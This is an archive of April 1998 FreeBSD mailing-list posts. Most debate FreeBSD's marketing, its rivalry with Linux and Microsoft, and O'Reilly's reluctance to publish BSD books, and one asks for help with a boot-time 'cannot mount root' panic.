Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA18060 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:25:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA17949; Thu, 9 Apr 1998 22:25:30 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from execpc.com (honoghr-34.mdm.mke.execpc.com [169.207.87.162]) by mailgw01.execpc.com (8.8.8) id FAA10345; Fri, 10 Apr 1998 05:25:24 GMT Received: (from fpawlak@localhost) by execpc.com (8.8.8/8.8.8) id AAA00220; Fri, 10 Apr 1998 00:25:23 -0500 From: "Frank Pawlak" Message-Id: <980410002523.ZM219@execpc.com> Date: Fri, 10 Apr 1998 00:25:23 -0500 In-Reply-To: "John S. Dyson" "Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet"" (Apr 9, 11:42pm) References: <199804100442.XAA03386@dyson.iquest.net> X-Mailer: Z-Mail (5.0.0 30July97) To: "John S. Dyson" Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Cc: jkh@time.cdrom.com, dshanes@personalogic.com, brett@lariat.org, freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 9, 11:42pm, John S. Dyson wrote: > Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the In > > On Apr 9, 10:03pm, John S. Dyson wrote: > > > > > > > Each of 'em seems like a Borg nano-probe :-). (Re: StarTrek Voyager :-)). > > > > > > John > > >-- End of excerpt from John S. Dyson > > > > I'll have to have my wife give me a translation of this. She is the StarTrek > > person in the family. I barely know what a Borg is let alone a nano-probe. > > Regards, > > Frank > > > They are little cyborg entities flowing around in Borg bloodstreams used to > affect the assimilation process among other things. I am attributing the > typical individual zealot as being about as important as one of the nano-probes > (to the larger collective -- and will be sacrificed if it is valuable to the > collective), all together they have a significant effect. This is an > assimilation process, where it is a war between the Linux world and the > rest of software. It just seems that Microsoft is the big target, but > don't be tricked into thinking that war is "freedom" vs. "domination." > Linux and Microsoft are various forms of domination at war. Microsoft > wants to have all your money, while the GPL movement wants to socialize > inventiveness. Thanks for the explanation of the nano probes as well as the domination issues. I fully understand the Microsoft tactic because I have lived in the corporate world and am well aware of their game. I don't understand the mindset that it takes to keep playing it, except that it is the "safe" bet. I am too green to grasp the inventive issues, but reading arguments presented by you and the others on the NG has started a gremanation process. On the technical side I have much to learn. It appears that jumping in bed with Microsoft or GPL is just a matter of deciding which cross you wish to die on. > > The GPL is not Netscape's friend. Their upper mgmt doesn't appear to > realize it. They appear to have made several mistakes of late. Would sure hate to see them go down. Other than SUN in the commercial there is not much standing in Microsoft's way. > > We need to continue growing the free software movement (and the associated > freedom of individuals), and not be left out in the cold. The Linux thing > is NOT a free software movement, but is an evangelistic pseudo-religion. > It wouldn't suprise me that the same people who might be susceptible to > a cult are the same people evangelizing whatever OS that they have > adopted. No OS is immune to this, but Linux appears to have more than > it's fair share. Well said, and I agree. In earlier posts I said that we need to evangelize, however when I define an evangelist and a fanatic, the definitions are worlds apart. An old friend of yours, Albert Callahan, fits tha latter ;-) Good talking with you, Frank > > John >-- End of excerpt from John S. Dyson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:32:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA19858 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:32:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA19817; Thu, 9 Apr 1998 22:32:40 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id PAA16887; Fri, 10 Apr 1998 15:01:16 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id PAA01507; Fri, 10 Apr 1998 15:01:10 +0930 (CST) (envelope-from grog) Message-ID: <19980410150110.34402@freebie.lemis.com> Date: Fri, 10 Apr 1998 15:01:10 +0930 From: Greg Lehey To: Frank Pawlak , jdn@acp.qiv.com Cc: toor@dyson.iquest.net, brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Re[4]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: <199804100500.AAA00323@darkstar.connect.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804100500.AAA00323@darkstar.connect.com>; from Frank Pawlak on Fri, Apr 10, 1998 at 12:00:34AM -0500 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Frank, I don't know ishmail, but isn't it possible to configure it so that it doesn't mangle text like this? It's barely legible. Greg >>>> I agree that most of use are >>>> older -- and it appears that most of use deal with real clients in >> the >>>> real world. The cost of an OS is the scheme of the commercial world >> is >>>> not a deciding factor. Support and reliability is a major factor. >>> >>> You hit on a key fact here and that is support. Please don't take >> what >>> I am going to say as a criticism. Because FreeBSD users are older >> and >>> thus more experienced I think it is often taken for granted that >> every >>> user is at the same level of expertise, which is simply not the case. >>> Further there is an attitude and in some ways correctly so that RTFM >> is >>> the order of the day. (etc) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:33:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA20227 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:33:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA20183; Thu, 9 Apr 1998 22:33:13 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from execpc.com (indobok-72.mdm.mke.execpc.com [169.207.87.72]) by mailgw02.execpc.com (8.8.8) id AAA07978; Fri, 10 Apr 1998 00:33:07 -0500 (CDT) Received: (from fpawlak@localhost) by execpc.com (8.8.8/8.8.8) id AAA00226; Fri, 10 Apr 1998 00:32:26 -0500 From: "Frank Pawlak" Message-Id: <980410003226.ZM225@execpc.com> Date: Fri, 10 Apr 1998 00:32:26 -0500 In-Reply-To: John Kenagy "Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet"" (Apr 10, 12:01am) References: X-Mailer: Z-Mail (5.0.0 30July97) To: John Kenagy , Open Systems Networking Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Cc: questions freebsd , hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I like this guy. He has the hair on your ass attitude to get the job done. I too am an "olde fart', haven't flogged many systems, but I understand marketing. One question, what the hell are you doing in Texas? If you were in the Mid-West I'd like to work with you. Regards, Frank On Apr 10, 12:01am, John Kenagy wrote: > Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" > My response to everything bing said. > > Yesss!!! To all!!! > > I'm an olde fart ex-system flogger from way back. All of what everyone > is saying is needed. It is marketing, marketing, marketing.... It does > *not matter* how good your product is. You *will* be run over by a > big marketing machine. > > But when it is real good, like FreeBSD, you do have something that > treated right, could be a silver bullet. > > 1. Pedigree. When I got back to playing with computers & began looking > about for something like vi to edit with under windows, I found Linux. > "A unix like..." Then stumbled across FreeBSD, a joke? Well, reading > further, I discovered emacs and a lot of other stuff I recognized. > But, what pulled me in was the BSD pedigree, and that *alone*! > > I may get flamed for this but I cannot think of Linux as anything > more than a cute little pc os. I don't run games. I *did* have to > support customers whose livelyhood depended on their computers > running every day - no exceptions. That meant a real OS with real > depth. > > Any operating system whose kernel is controlled by one person, > libraries provided by second, third, fourth parties or *whatever*, > and applications from yet other sources, well that is a recipe > for failure. I had to learn that lesson the hard way. > > Your operating system should be invisible, flawless, and > d-e-p-e-n-d-a-b-l-e. This FreeBSD is a "lead pipe" cinch winner. > I cannot say it has *ever* failed in almost two years of using it. > > I was one of the first AT&T value added resellers in Los Angeles. > I cannot make the same claim of dependability about the SV based > accounting systems we sold. Period. > > 2. Dependable. Users can be as "bleeding edge" or as conservative > as they wish. Dependability is available with FreeBSD. Linux is... > I'm not sure where. I think a mirage. > > So, you've got pedigree and dependability. You need suits. PR and > an appeal to the conservative and corporate. I'm going to cast about > here in Austin and see what I can discover. > > All I need is a heartbeat and a dialtone. > > John > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >-- End of excerpt from John Kenagy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:44:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA22872 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:44:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA22844 for ; Thu, 9 Apr 1998 22:44:44 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul2.u.washington.edu (root@saul2.u.washington.edu [140.142.56.21]) by jason04.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id WAA16316 for ; Thu, 9 Apr 1998 22:44:42 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id WAA02097 for ; Thu, 9 Apr 1998 22:44:41 -0700 (PDT) Date: Thu, 9 Apr 1998 21:43:31 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: FreeBSD-questions Subject: The recent comments by Tim O'Reilly on the topic at hand Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have a letter from Tim O'Reilly about ORA involvement with the Windows crowd. It relates to the "Your article" thread that is going on. If the list likes, I can post it. Reply to me directly so as not to spam. If I get enough takers I will post it for everyone. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:52:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA24576 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:52:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA24560 for ; Thu, 9 Apr 1998 22:52:48 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-10.mdm.mke.execpc.com [169.207.64.14]) by mailgw01.execpc.com (8.8.8) id FAA11585; Fri, 10 Apr 1998 05:52:45 GMT Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id AAA00329; Fri, 10 Apr 1998 00:52:41 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100552.AAA00329@darkstar.connect.com> Date: Fri, 10 Apr 1998 00:52:40 -0500 (CDT) To: grog@lemis.com Cc: fpawlak@execpc.com, dnelson@emsphone.com, ken@mui.net, freebsd-questions@FreeBSD.ORG Subject: Re[2]: Your Article "Freeware: The Heart & Soul of the Interne In-Reply-To: <19980410145034.55532@freebie.lemis.com> X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg Lehey wrote: > ---------------mega snip----- > > Compared to the books on Linux the 4.4BSD books are way over the > head of Joe > > User. Greg Lehey's book is a gem, and that is the kind of thing > that is > > needed. > > Thanks. Unfortunately, ORA doesn't even start to agree with you. > They've repeatedly turned down offers of taking over publication, and > even of looking at the book. ORA Germany took a copy, and liked it, > but they wouldn't be able to publish it in Germany. > > Greg Thank you for a very usefull book. That is a travesty. The reason for this is probably none of my business, but can't help but wondering why they wouldn't publish it. Suspect that some politics are involved. Who did the Berkeley people piss off to cause this? ORA is in it for the dollars, seems that If the demand is there they should put it out. The thought occurs to use part of your book as the instruction manual to accompany the CD set. Perhaps stripping out the man pages to reduce the cost and use that with the CD set. SuSE Linux provides a book, about 400 pages, similar in scope to the first 400 pages of yours as a manual with their sistribution. It has been well received by users. Just some thought on the professionalism of the distribution. Regards, Frank > -- > See complete headers for address and phone numbers > finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:55:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA25161 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:55:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA25070; Thu, 9 Apr 1998 22:55:27 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-10.mdm.mke.execpc.com [169.207.64.14]) by mailgw01.execpc.com (8.8.8) id FAA11683; Fri, 10 Apr 1998 05:55:25 GMT Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id AAA00337; Fri, 10 Apr 1998 00:55:23 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100555.AAA00337@darkstar.connect.com> Date: Fri, 10 Apr 1998 00:55:22 -0500 (CDT) To: jfieber@indiana.edu Cc: danj@3skel.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Fieber wrote: > On Thu, 9 Apr 1998, Dan Janowski wrote: > > > We should conduct a census! Put it on the website, in the FTP > banners on > > wcarchive, in the CDROMs. > > Well, ya, but the results would rate next to worthless in terms > of statistical validity. Good demographic studies are pretty > hard to do when you don't know the extent of your population, and > asking people to register isn't going to define it for you. > > I did one random sampling of mailing list subscribers (I defined > my population as mailing list subscribers) and sent a small > survey regarding the FreeBSD web site. The response rate was in > the negihborhood of two to three percent. Completely useless. > 60 to 70 percent is usually considered the bottom end of > acceptable in survey research. I got much more data from a form > on the website, but the validity of that data is highly > questionable for lots of reasons outlined in any survey research > methods textbook. > > BUT, a good demographic study of FreeBSD users would be extremely > valuable to have...so all you statistics junkies, start thinking > of a way to come up with a *representative* sample the user > population. > > -john You would enjoy what the Linux people use to estimate the size of the installed base. Check out RedHat's web page, the document may still be there. Frank > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 22:57:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA26068 for freebsd-questions-outgoing; Thu, 9 Apr 1998 22:57:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA25966; Thu, 9 Apr 1998 22:57:11 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-10.mdm.mke.execpc.com [169.207.64.14]) by mailgw01.execpc.com (8.8.8) id FAA11729; Fri, 10 Apr 1998 05:57:06 GMT Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id AAA00342; Fri, 10 Apr 1998 00:57:06 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100557.AAA00342@darkstar.connect.com> Date: Fri, 10 Apr 1998 00:57:05 -0500 (CDT) To: brett@lariat.org Cc: grog@lemis.com, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804100428.WAA09649@lariat.lariat.org> X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Brett Glass wrote: > At 11:35 AM 4/10/98 +0930, Greg Lehey wrote: > > >Tim knows about Jordan, despite his message. We've repeatedly tried > >to get them interested in BSD, but there's something at ORA that > >resists. > > It is, as usual, the "almighty dollar." ORA sees the Linux market as > larger, and therefore favors it. They once explained to me that they > had no interest in porting their Windows and NT Web server or > conferencing software to UNIX for the same reason. > > >I've just about given up with ORA. They seem to be relinquishing > >their position as the favourite UNIX publisher and chasing the NT > >crowd. > > More proof, alas, that they're chasing what they believe to be the > largest market. > > --Brett That is the name of the game in the commercial world. Frank > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 23:17:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA00728 for freebsd-questions-outgoing; Thu, 9 Apr 1998 23:17:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA00720 for ; Thu, 9 Apr 1998 23:17:27 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from execpc.com (lafra-53.mdm.mke.execpc.com [169.207.86.53]) by mailgw01.execpc.com (8.8.8) id GAA12320; Fri, 10 Apr 1998 06:17:15 GMT Received: (from fpawlak@localhost) by execpc.com (8.8.8/8.8.8) id BAA00238; Fri, 10 Apr 1998 01:17:15 -0500 From: "Frank Pawlak" Message-Id: <980410011715.ZM237@execpc.com> Date: Fri, 10 Apr 1998 01:17:15 -0500 In-Reply-To: Greg Lehey "Re: Re[4]: Fw: Your Article "Freeware: The Heart & Soul of the Internet"" (Apr 10, 3:01pm) References: <199804100500.AAA00323@darkstar.connect.com> <19980410150110.34402@freebie.lemis.com> X-Mailer: Z-Mail (5.0.0 30July97) To: Greg Lehey Subject: Re: Re[4]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Cc: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 10, 3:01pm, Greg Lehey wrote: > Subject: Re: Re[4]: Fw: Your Article "Freeware: The Heart & Soul of the I > Frank, I don't know ishmail, but isn't it possible to configure it so > that it doesn't mangle text like this? It's barely legible. > > Greg Greg, Are you referring to all the greater than symbols? I never noticed that before. Will look into this, it does make for bad reading. Thanks for the heads up. Frank > > > >>>> I agree that most of use are > >>>> older -- and it appears that most of use deal with real clients in > >> the > >>>> real world. The cost of an OS is the scheme of the commercial world > >> is > >>>> not a deciding factor. Support and reliability is a major factor. > >>> > >>> You hit on a key fact here and that is support. Please don't take > >> what > >>> I am going to say as a criticism. Because FreeBSD users are older > >> and > >>> thus more experienced I think it is often taken for granted that > >> every > >>> user is at the same level of expertise, which is simply not the case. > >>> Further there is an attitude and in some ways correctly so that RTFM > >> is > >>> the order of the day. > (etc) > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message >-- End of excerpt from Greg Lehey To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 23:30:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA03783 for freebsd-questions-outgoing; Thu, 9 Apr 1998 23:30:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA03775 for ; Thu, 9 Apr 1998 23:30:45 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id QAA16942; Fri, 10 Apr 1998 16:00:25 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id QAA01706; Fri, 10 Apr 1998 16:00:25 +0930 (CST) (envelope-from grog) Message-ID: <19980410160025.29260@freebie.lemis.com> Date: Fri, 10 Apr 1998 16:00:25 +0930 From: Greg Lehey To: Frank Pawlak Cc: dnelson@emsphone.com, ken@mui.net, freebsd-questions@FreeBSD.ORG Subject: Re: Re[2]: Your Article "Freeware: The Heart & Soul of the Interne References: <19980410145034.55532@freebie.lemis.com> <199804100552.AAA00329@darkstar.connect.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804100552.AAA00329@darkstar.connect.com>; from Frank Pawlak on Fri, Apr 10, 1998 at 12:52:40AM -0500 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 April 1998 at 0:52:40 -0500, Frank Pawlak wrote: > Greg Lehey wrote: >>> Compared to the books on Linux the 4.4BSD books are way over the >>> head of Joe User. Greg Lehey's book is a gem, and that is the >>> kind of thing that is needed. >> >> Thanks. Unfortunately, ORA doesn't even start to agree with you. >> They've repeatedly turned down offers of taking over publication, and >> even of looking at the book. ORA Germany took a copy, and liked it, >> but they wouldn't be able to publish it in Germany. > > That is a travesty. The reason for this is probably none of my > business, but can't help but wondering why they wouldn't publish it. > Suspect that some politics are involved. Who did the Berkeley people > piss off to cause this? ORA is in it for the dollars, seems that If the > demand is there they should put it out. It appears that somebody at ORA thinks that the dollars won't be forthcoming. > The thought occurs to use part of your book as the instruction manual to > accompany the CD set. Perhaps stripping out the man pages to reduce the > cost and use that with the CD set. SuSE Linux provides a book, about > 400 pages, similar in scope to the first 400 pages of yours as a manual > with their sistribution. It has been well received by users. Just some > thought on the professionalism of the distribution. Well, in the 2.2.6 CD-ROM we're including the text in ASCII. Let's see what people think of that. Greg -- See complete headers for address and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 23:55:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA08497 for freebsd-questions-outgoing; Thu, 9 Apr 1998 23:55:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA08466; Thu, 9 Apr 1998 23:55:03 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.8/8.8.8) with ESMTP id XAA05753; Thu, 9 Apr 1998 23:54:53 -0700 (PDT) (envelope-from jkh@time.cdrom.com) To: Terry Lambert cc: abelits@genesyslab.com (Alex Belits), dshanes@personalogic.com, brett@lariat.org, freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-reply-to: Your message of "Fri, 10 Apr 1998 02:37:51 -0000." <199804100237.TAA22946@usr02.primenet.com> Date: Thu, 09 Apr 1998 23:54:52 -0700 Message-ID: <5749.892191292@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > The division in Linux implementations is very real. I have been I only wish this point got made more often - if nothing else, the public embarassment might result in closer ties between the various Linuxen and you wouldn't have so much trouble porting LDAP, to say nothing of all the other folks in a similar boat. > Spinning market perception is harder than pointing to conclusive > technical information. The corrolary to this being that spinning market perception is also a far more effective PR technique than providing conclusive technical information. :-( > > Please, before doing that try to make a list of goals that it is > > supposed to accomplish. > > I have to admit that I was a bit ticked off by one press release > that stated "Linux is the freely available UNIX implementation", > using "the" instead of "a". The was SunWorld Online (I believe) > quoting Netscape higher-ups over the Mozilla release. If I accomplish no goal other than to have folks say "Linux AND FreeBSD" in the same breath (and, more importantly, same press releases) then I think I'll have more than accomplished the primary mission. > What is the status on the CVS/CVSup Mozilla source repository that > was being considered? That would certainly raise visibility in a > positive way, even if the involvement was only in providing the > technology to Netscape. You could still press-release it... It's up and running at bento.freebsd.org; not sure what the press release would look like though. I wish I were better at writing those. :-( Anyone want to make a buck by writing marketing blurbs on contract? It wouldn't pay much, but I could make it worth your while if you had any kind of talent for it! :-) Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 00:02:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA10503 for freebsd-questions-outgoing; Fri, 10 Apr 1998 00:02:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell.wco.com (root@shell.wco.com [199.4.94.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA10489 for ; Fri, 10 Apr 1998 00:02:51 -0700 (PDT) (envelope-from gumshoe@wco.com) Received: from default (gumshoe.wco.com [207.48.88.218]) by shell.wco.com (8.8.5/8.8.5/WCO-18jul97) with SMTP id AAA13245 for ; Fri, 10 Apr 1998 00:02:48 -0700 (PDT) Message-ID: <352DC389.5265@wco.com> Date: Fri, 10 Apr 1998 00:00:25 -0700 From: Jeff Umscheid X-Mailer: Mozilla 3.04Gold (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Booting Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I installed FreeBSD fine. The problem is during the boot sequence. When I boot FBSD, it goes throught the hardware probing and everyhting fine, then I get this: panic: cannot mount root Then is syncs the disks and reboots. How will I fix this problem? JeFF To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 00:11:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA12949 for freebsd-questions-outgoing; Fri, 10 Apr 1998 00:11:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jaguar.ir.miami.edu (jaguar.ir.miami.edu [129.171.32.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA12920; Fri, 10 Apr 1998 00:11:29 -0700 (PDT) (envelope-from marcus@miami.edu) Received: from localhost by jaguar.ir.miami.edu (PMDF V5.1-10 #24029) with SMTP id <0ER600901RZ3KK@jaguar.ir.miami.edu>; Fri, 10 Apr 1998 03:11:27 -0400 (EDT) Date: Fri, 10 Apr 1998 03:11:27 -0400 (EDT) From: "Joe \"Marcus\" Clarke" Subject: FreeBSD, PR, and an idea In-reply-to: To: "Jordan K. Hubbard" Cc: FreeBSD User Questions List , hackers@FreeBSD.ORG Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jordan, and any FreeBSD team member, I am writing regarding recent events in the news. I have been using FreeBSD for two years now, and I'm convinced of its power and potential. I'd like to do whatever I can to help. I mean it, you have an idea, I'll get actively behind it. I know the president of a prestigious advertising agency, and I'd like to ask him if he'd do any pro bono work toward promoting FreeBSD. His company is currently on-line and receiving email thanks to FreeBSD (and me). I'd like to say thanks to the entire team, and to everyone on this list who spends their time to help people with what is arguably the best operating system to come about. If a small ad campaign is desirable, let me know, and I'll see what I can do. Also, has anything come of the Apple request for Rhapsody help? I'd like to see that kind of cooperation happen. I think it would help tremendously. Sincerely, Joe 